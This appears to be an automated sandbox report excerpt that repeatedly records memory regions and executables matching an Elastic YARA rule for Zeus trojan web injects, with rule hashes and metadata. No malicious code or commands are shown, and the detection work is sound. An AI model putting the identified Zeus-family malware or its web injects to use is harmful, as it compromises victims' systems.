    Source: 1.3.svchost.exe.d200000.73.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.42.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.59.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.71.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 37.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3082000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.61.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.81.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.61.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.85.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.884000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.89.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.67.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 16.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1042000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.49.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 35.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2870000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0.2.1fWgBXPgiT.exe.406400.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 16.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.10a0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.88.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 37.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3082000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0.2.1fWgBXPgiT.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.84.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.48.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.83.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.70.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 21.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.e80000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 9.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26a0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 5.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26f0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 6.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.b10000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.55.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 31.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2990000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.56.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.f2c0000.53.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.88.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.40.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 13.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.22c0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 13.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.22c0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2500000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 27.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1412000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.d200000.82.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 1.3.svchost.exe.2700000.58.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 6.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.b10000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
